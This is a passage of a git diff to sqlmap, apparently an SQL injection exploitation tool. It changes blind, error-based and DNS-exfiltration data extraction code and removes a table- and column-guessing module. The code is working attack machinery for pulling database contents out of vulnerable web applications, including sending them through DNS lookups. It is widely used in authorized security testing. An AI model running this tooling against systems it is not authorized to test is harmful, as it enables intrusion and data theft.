len(finalValue or "") if finalValue is not None: - finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue - hashDBWrite(expression, finalValue) + finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue + if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one + hashDBWrite(expression, finalValue) + + # Adaptive intra-run prediction: remember this extracted name for its enumeration context so + # later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster. + # Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a + # value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe. + if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None + and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH + and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): + kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) - if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): + if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: - if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: @@ -589,7 +1163,44 @@ def blindThread(): raise KeyboardInterrupt _ = finalValue or partialValue - return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _ + + # Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most + # common values are probed first; bounded so a clearly high-cardinality column stops accumulating). + if columnKey is not None and finalValue: + # Track the column's low-cardinality cache and observed character set. Guarded by the prediction + # lock because value-parallel dump workers update these concurrently. + ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128) + with kb.locks.prediction: + seen = kb.lowCardCache.setdefault(columnKey, {}) + if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2: + seen[finalValue] = seen.get(finalValue, 0) + 1 + + if ordinals: + existing = kb.dumpCharset.setdefault(columnKey, set()) + grew = not ordinals.issubset(existing) # did this row introduce a never-seen character? + existing.update(ordinals) + # Trust the observed alphabet as closed only after it stays unchanged for several consecutive + # rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and + # never triggers the restricted search, so it is never charged the miss-then-escalate cost. + kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1 + + # Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a + # known-answer differential so an always-true / flaky / degraded channel that would otherwise dump + # SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always + # checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th. + if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode + and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)): + with kb.locks.prediction: + kb.litmusCounter += 1 + due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0) + if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare): + kb.reliabilityAlarm = True + warnMsg = "the target's responses are inconsistent for known-true/known-false probes " + warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may " + warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying" + singleTimeWarnMessage(warnMsg) + + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ @@ -604,10 +1215,10 @@ def queryOutputLength(expression, payload): lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) - if length == " ": + if isinstance(length, six.string_types) and length.isspace(): length = 0 return length diff --git a/lib/techniques/brute/__init__.py b/lib/techniques/brute/__init__.py deleted file mode 100644 index 8d7bcd8f0a1..00000000000 --- a/lib/techniques/brute/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py deleted file mode 100644 index 5c25cdf7dad..00000000000 --- a/lib/techniques/brute/use.py +++ /dev/null @@ -1,272 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import time - -from lib.core.common import clearConsoleLine -from lib.core.common import dataToStdout -from lib.core.common import filterListValue -from lib.core.common import getFileItems -from lib.core.common import Backend -from lib.core.common import getPageWordSet -from lib.core.common import hashDBWrite -from lib.core.common import randomInt -from lib.core.common import randomStr -from lib.core.common import readInput -from lib.core.common import safeStringFormat -from lib.core.common import safeSQLIdentificatorNaming -from lib.core.common import unsafeSQLIdentificatorNaming -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.enums import DBMS -from lib.core.enums import HASHDB_KEYS -from lib.core.enums import PAYLOAD -from lib.core.exception import SqlmapDataException -from lib.core.exception import SqlmapMissingMandatoryOptionException -from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE -from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE -from lib.core.settings import METADB_SUFFIX -from lib.core.threads import getCurrentThreadData -from lib.core.threads import runThreads -from lib.request import inject - -def _addPageTextWords(): - wordsList = [] - - infoMsg = "adding words used on web page to the check list" - logger.info(infoMsg) - pageWords = getPageWordSet(kb.originalPage) - - for word in pageWords: - word = word.lower() - - if len(word) > 2 and not word[0].isdigit() and word not in wordsList: - wordsList.append(word) - - return wordsList - -def tableExists(tableFile, regex=None): - if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: - warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) - warnMsg += "for common table existence check" - logger.warn(warnMsg) - - message = "are you sure you want to continue? [y/N] " - test = readInput(message, default="N") - kb.tableExistsChoice = test[0] in ("y", "Y") - - if not kb.tableExistsChoice: - return None - - result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) - - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.db = conf.db.upper() - - if result: - errMsg = "can't use table existence check because of detected invalid results " - errMsg += "(most probably caused by inability of the used injection " - errMsg += "to distinguish errornous results)" - raise SqlmapDataException(errMsg) - - tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) - - infoMsg = "checking table existence using items from '%s'" % tableFile - logger.info(infoMsg) - - tables.extend(_addPageTextWords()) - tables = filterListValue(tables, regex) - - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(tables) - threadData.shared.value = [] - threadData.shared.unique = set() - - def tableExistsThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break - - if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - fullTableName = "%s.%s" % (conf.db, table) - else: - fullTableName = table - - result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) - - kb.locks.io.acquire() - - if result and table.lower() not in threadData.shared.unique: - threadData.shared.value.append(table) - threadData.shared.unique.add(table.lower()) - - if conf.verbose in (1, 2) and not hasattr(conf, "api"): - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) - dataToStdout(infoMsg, True) - - if conf.verbose in (1, 2): - status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - - kb.locks.io.release() - - try: - runThreads(conf.threads, tableExistsThread, threadChoice=True) - - except KeyboardInterrupt: - warnMsg = "user aborted during table existence " - warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) - - clearConsoleLine(True) - dataToStdout("\n") - - if not threadData.shared.value: - warnMsg = "no table(s) found" - logger.warn(warnMsg) - else: - for item in threadData.shared.value: - if conf.db not in kb.data.cachedTables: - kb.data.cachedTables[conf.db] = [item] - else: - kb.data.cachedTables[conf.db].append(item) - - for _ in ((conf.db, item) for item in threadData.shared.value): - if _ not in kb.brute.tables: - kb.brute.tables.append(_) - - hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) - - return kb.data.cachedTables - -def columnExists(columnFile, regex=None): - if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: - warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) - warnMsg += "for common column existence check" - logger.warn(warnMsg) - - message = "are you sure you want to continue? [y/N] " - test = readInput(message, default="N") - kb.columnExistsChoice = test[0] in ("y", "Y") - - if not kb.columnExistsChoice: - return None - - if not conf.tbl: - errMsg = "missing table parameter" - raise SqlmapMissingMandatoryOptionException(errMsg) - - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.db = conf.db.upper() - - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) - - if result: - errMsg = "can't use column existence check because of detected invalid results " - errMsg += "(most probably caused by inability of the used injection " - errMsg += "to distinguish errornous results)" - raise SqlmapDataException(errMsg) - - infoMsg = "checking column existence using items from '%s'" % columnFile - logger.info(infoMsg) - - columns = getFileItems(columnFile, unique=True) - columns.extend(_addPageTextWords()) - columns = filterListValue(columns, regex) - - table = safeSQLIdentificatorNaming(conf.tbl, True) - - if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) - - kb.threadContinue = True - kb.bruteMode = True - - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(columns) - threadData.shared.value = [] - - def columnExistsThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break - - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) - - kb.locks.io.acquire() - - if result: - threadData.shared.value.append(column) - - if conf.verbose in (1, 2) and not hasattr(conf, "api"): - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) - dataToStdout(infoMsg, True) - - if conf.verbose in (1, 2): - status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - - kb.locks.io.release() - - try: - runThreads(conf.threads, columnExistsThread, threadChoice=True) - - except KeyboardInterrupt: - warnMsg = "user aborted during column existence " - warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) - - clearConsoleLine(True) - dataToStdout("\n") - - if not threadData.shared.value: - warnMsg = "no column(s) found" - logger.warn(warnMsg) - else: - columns = {} - - for column in threadData.shared.value: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): - result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) - else: - result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) - - if result: - columns[column] = "numeric" - else: - columns[column] = "non-numeric" - - kb.data.cachedColumns[conf.db] = {conf.tbl: columns} - - for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): - if _ not in kb.brute.columns: - kb.brute.columns.append(_) - - hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) - - return kb.data.cachedColumns diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 1d8b8c5692f..24ba334d5cc 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -14,7 +14,6 @@ from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse - def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") @@ -24,7 +23,7 @@ def dnsTest(payload): if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: - conf.dnsName = None + conf.dnsDomain = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 8b09335bd59..1f0d21f3190 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,19 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import hashDBRetrieve @@ -22,6 +21,7 @@ from lib.core.common import randomStr from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -32,7 +32,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request - +from lib.utils.safe2bin import safecharencode def dnsUse(payload, expression): """ @@ -46,7 +46,7 @@ def dnsUse(payload, expression): count = 0 offset = 1 - if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: @@ -58,14 +58,18 @@ def dnsUse(payload, expression): while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) - chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 + chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) + extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) + if extendedField != fieldToCastStr: # e.g. MIN(surname) + nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField) + fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) - expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName) + expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): @@ -80,8 +84,11 @@ def dnsUse(payload, expression): _ = conf.dnsServer.pop(prefix, suffix) if _: - _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) - _ = decodeHexValue(_) + # Note: non-greedy so a '--dns-domain' label that happens to match the random + # suffix can't make the match run past the real boundary (the boundary alphabet + # excludes hex characters, so it can never under-match into the hex payload) + _ = extractRegexResult(r"%s\.(?P<result>.+?)\.%s" % (prefix, suffix), _, re.I) + _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) @@ -90,7 +97,7 @@ def dnsUse(payload, expression): else: break - output = decodeHexValue(output) if conf.hexConvert else output + output = decodeDbmsHexValue(output) if conf.hexConvert else output kb.dnsMode = False @@ -104,10 +111,10 @@ def dnsUse(payload, expression): hashDBWrite(expression, output) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) - elif conf.dnsName: + elif conf.dnsDomain: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 8a8009d342d..17511a0f4e7 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,23 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult +from lib.core.common import firstNotNone +from lib.core.common import getConsoleWidth from lib.core.common import getPartRun -from lib.core.common import getUnicode +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -25,10 +29,12 @@ from lib.core.common import isListLike from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue -from lib.core.common import readInput from lib.core.common import unArrayizeValue -from lib.core.convert import hexdecode -from lib.core.convert import htmlunescape +from lib.core.common import wasLastResponseHTTPError +from lib.core.compat import xrange +from lib.core.convert import decodeHex +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -37,12 +43,13 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER +from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD -from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import MAX_ERROR_CHUNK_LENGTH +from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER -from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD +from lib.core.settings import ROTATING_CHARS from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData @@ -50,9 +57,12 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode +from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 + rotator = 0 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) @@ -64,23 +74,34 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): threadData.resumed = retVal is not None and not partialValue - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) + seen = set() current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) - testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + + if Backend.isDbms(DBMS.ORACLE): + testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) + else: + testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) + result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) - if result and testChar in result: + seen.add(current) + + if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: - current = len(result) - len(kb.chars.stop) + result = re.search(r"\A\w+", result).group(0) + candidate = len(result) - len(kb.chars.stop) + current = candidate if candidate != current and candidate not in seen else current - 1 else: - current = current / 2 + current = current // 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) @@ -90,13 +111,13 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if retVal is None or partialValue: try: while True: - check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) - trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start) + check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) + trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) @@ -104,7 +125,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request - vector = kb.injection.data[kb.technique].vector + vector = getTechniqueData().vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression @@ -113,52 +134,50 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): payload = agent.payload(newValue=injExpression) # Perform the request - page, headers = Request.queryPage(payload, content=True, raise404=False) + page, headers, _ = Request.queryPage(payload, content=True, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output - output = reduce(lambda x, y: x if x is not None else y, (\ - extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ - if headers else None), re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ - None) + output = firstNotNone( + extractRegexResult(check, page), + extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), + extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), + extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) + ) if output is not None: output = getUnicode(output) else: - trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ - if headers else None), re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) + trimmed = firstNotNone( + extractRegexResult(trimCheck, page), + extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), + extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), + extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) + ) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.testMode: - check = "(?P<result>.*?)%s" % kb.chars.stop[:2] + check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: - check = "(?P<result>[^\s<>'\"]+)" + check = r"(?P<result>[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): if offset == 1: retVal = output else: @@ -169,8 +188,16 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: break - if kb.fileReadMode and output: - dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) + if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)): + if kb.fileReadMode: + dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) + elif offset > 1: + rotator += 1 + + if rotator >= len(ROTATING_CHARS): + rotator = 0 + + dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) else: retVal = output break @@ -179,10 +206,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise - retVal = decodeHexValue(retVal) if conf.hexConvert else retVal + retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal - if isinstance(retVal, basestring): - retVal = 